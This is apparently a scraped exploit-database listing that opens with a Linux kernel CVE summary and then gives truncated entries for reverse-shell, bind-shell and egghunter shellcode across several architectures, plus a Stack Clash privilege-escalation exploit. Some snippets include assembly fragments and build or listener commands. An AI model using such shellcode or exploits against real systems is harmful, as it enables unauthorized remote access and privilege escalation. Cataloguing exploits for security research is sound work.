UBUNTU-CVE-2025-39756

In the Linux kernel, the following vulnerability has been resolved: fs: Prevent file descriptor table allocations exceeding INTMAX When sysctlnropen is set to a very high value for example, 1073741816 as set by systemd, processes attempting to use file descriptors near the limit can trigger massi...

CVE-2025-39756 fs: Prevent file descriptor table allocations exceeding INT_MAX

In the Linux kernel, the following vulnerability has been resolved: fs: Prevent file descriptor table allocations exceeding INTMAX When sysctlnropen is set to a very high value for example, 1073741816 as set by systemd, processes attempting to use file descriptors near the limit can trigger massi...

Linux/MIPS - N32 MSB Reverse Shell Shellcode

/ mipsn32msblinuxrevsh.c - MIPS N32 MSB Linux reverse Copyright c 2022 Marco Ivaldi Basic MIPS N32 MSB Linux reverse shellcode, showcasing various techniques to avoid badchars. Cross-compile https://buildroot.org/ with: $ mips64-linux-gcc -static mipsn32msblinuxrevsh.c -o revsh Tested on Linux...

Linux/x86 - Bind (User Specified Port) Shell (/bin/sh) Shellcode (102 bytes)

Exploit Title: Linux/x86 - Bind User Specified Port Shell /bin/sh Shellcode 102 bytes Exploit Author: d7x Tested on: Ubuntu x86 / Linux/x86 Bind Shell /bin/sh with dynamic port binding Null-Free Shellcode 102 bytes Usage: gcc -z execstack -o bindshell bindshell.c ./bindshell 7000 Binding to 7000...

Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode (91 bytes)

Exploit Title: Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode 91 bytes Author: bolonobolo Tested on: Linux x86 Software: N/A CVE: N/A / global start section .text start: ;socket xor ecx, ecx ; xoring ECX xor ebx, ebx ; xoring EBX mul ebx ; xoring EAX and EDX inc cl ; ECX should be 1...

Linux/x86_64 - Reverse(0.0.0.0:4444/TCP) Shell (/bin/sh) Shellcode (70 bytes)

/ Title: Linux/x8664 - Reverse0.0.0.0:4444/TCPShell/bin/sh- Null Free Shellcode ;Author: Aron Mihaljevic ;Architecture: Linux x8664 ;Shellcode Length: 70 bytes ;github = https://github.com/STARRBOY compilation and execution of assembly code ------------------------------------- nasm -felf64...

Linux/x86 - Reverse TCP (::FFFF:192.168.1.5:4444/TCP) Shell (/bin/sh) + Null-Free + IPv6 Shellcode (86 bytes)

Linux/x86 - Reverse TCP ::FFFF:192.168.1.5:4444/TCP Shell /bin/sh + Null-Free + IPv6 Shellcode 86 bytes. Shellcode exploit for Linuxx86 platform Title: Linux/x86 - Reverse TCP shell IPv6 + Null Free Shellcode Author: Kartik Durg Shellcode Length: 86 BYTES Student-ID: SLAE-1233 Note...

Linux/x64 - Reverse (::1:1337/TCP) + IPv6 + Password (pwnd) Shellcode (115 bytes)

Linux/x64 - Reverse ::1:1337/TCP + IPv6 + Password pwnd Shellcode 115 bytes. Shellcode exploit for Linuxx86-64 platform / ; Title : Reverse Shell IPv6 with Password - Shellcode ; Author : Hashim Jawad @ihack4falafel ; OS : Linux kali 4.15.0-kali2-amd64 1 SMP Debian 4.15.11-1kali1 2018-03-21 x8664...

Linux/x86 - Reverse TCP (127.0.0.1:4444/TCP) Shell Shellcode (96 Bytes)

/ ; Title: Linux/x86 - TCP reverse shell ; Author: Paolo Perego ; Website: https://codiceinsicuro.it ; Blog post: https://codiceinsicuro.it/slae/assignment-2-create-a-reverse-shellcode/ ; Twitter: @thesp0nge ; SLAE-ID: 1217 ; Purpose: connect to a given IP and PORT and spawning a reverse shell if...

Linux/ARM (Raspberry Pi) - Bind TCP Shell (4444/TCP) Shellcode (192 bytes)

/ Andrea Sindoni - @invictus1306 This schellcode is part of my episodes: - ARM exploitation for IoT - https://quequero.org/2017/07/arm-exploitation-iot-episode-2/ Enviroment: Raspberry pi 3 Default settings for port:4444 @.syntax unified .global start start: mov r1, 0x5C @ r1=0x5c mov r5, 0x11 @...

Linux Kernel (Debian 78910 Fedora 232425 CentOS 5.35.116.06.87.2.1511) - ldso_hwcap Stack Clash Local Privilege Escalation

Linux Kernel Debian 78910 Fedora 232425 CentOS 5.35.116.06.87.2.1511 - ldsohwcap Stack Clash Local Privilege Escalation / Linuxldsohwcap.c for CVE-2017-1000366, CVE-2017-1000370 Copyright C 2017 Qualys, Inc. myimportanthwcaps adapted from elf/dl-hwcaps.c, part of the GNU C Library: Copyright C...

Linux/x86 - Reverse UDP Shellcode (668 bytes)

; SLAE-X ; thanks to writesup from previou students : ; assignment: 2. create a reverse shell ; originality: using UDP instead TCP ; usage : sudo ncat -lup 53 on the receiving end ; warning, this shellcode might contains null byte if you use certain ip / address %define htonsx x 8 & 0xFF | x & 0x...

Linux/x86-64 - Reverse Shell Shellcode (IPv6) (113 bytes)

BITS 64 ; reverse ip6 tcp shell ; size = 113 bytes depends of ip addr, default is ::1 ; nullbytes free depends only on ip addr, ; you could always and the ip add to remove ; the nulls like i did with the port ; it sleeps and then tries to recconect default 3 seconds ; ;shell =...

Linux - Reverse Shell Shellcode (66 bytes)

Linux - Reverse Shell Shellcode 66 bytes. Shellcode exploit for Linux platform ;The MIT License MIT ;Copyright c 2017 Robert L. Taylor ;Permission is hereby granted, free of charge, to any person obtaining a ;copy of this software and associated documentation files the “Software”, ;to deal in the...

Linux ARM Big Endian Command Shell, Bind TCP Inline

Listen for a connection and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 118 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions def...

TCP Bindshell with Password Prompt - 162 bytes

TCP Bindshell with Password Prompt - 162 bytes. Shellcode exploit for linux platform /--------------------------------------------------------------------------------------------------------------------- / Title: tcp bindshell with password prompt in 162 bytes Author: Sathish kumar Contact:...

OS X x64 - tcp bind shellcode, NULL byte free 144 bytes

OS X x64 - tcp bind shellcode, NULL byte free 144 bytes. Shellcode exploit for osx platform ;OS X x64, TCP bind shellcode port 4444, NULL byte free, 144 bytes long ;ASM code ;compile: ;nasm -f macho64 bind-shellcode.asm ;ld -macosxversionmin 10.7.0 -o bindsc bind-shellcode.o BITS 64 global start...

Linux x86 - Socket Re-use Shellcode 50 bytes

Linux x86 - Socket Re-use Shellcode 50 bytes. CVE-2014-4943. Shellcode exploit for linx86 platform / Socket Re-use Combo for linux x86 systems by ZadYree -- 50 bytes Made using sockfd trick + dup20,0, dup20,1, dup20,2 + execve /bin/sh Thanks: Charles Stevenson, ipv, 3LRVS research team gcc -o...

Linux/x86 Multi-Egghunter

No description provided by source. / Title: Multi-Egghunter Author: Ryan Fenno @ryanfenno Date: 20 September 2013 Tested on: Linux/x86 Ubuntu 12.0.3 Description: This entry represents an extension of skape's sigaction2 egghunting method 1 to multiple eggs. It is similar in spirit to BJ 'SkyLined'...

BSD x86 connect back Shellcode (81 bytes)

No description provided by source. / -------------- FreeBSD/x86 - connect back /bin/sh. 81 bytes ---------------- AUTHOR : Tosh OS : BSDx86 Tested on FreeBSD 8.1 EMAIL : [email protected] / include stdio.h include string.h include arpa/inet.h char shellcode =...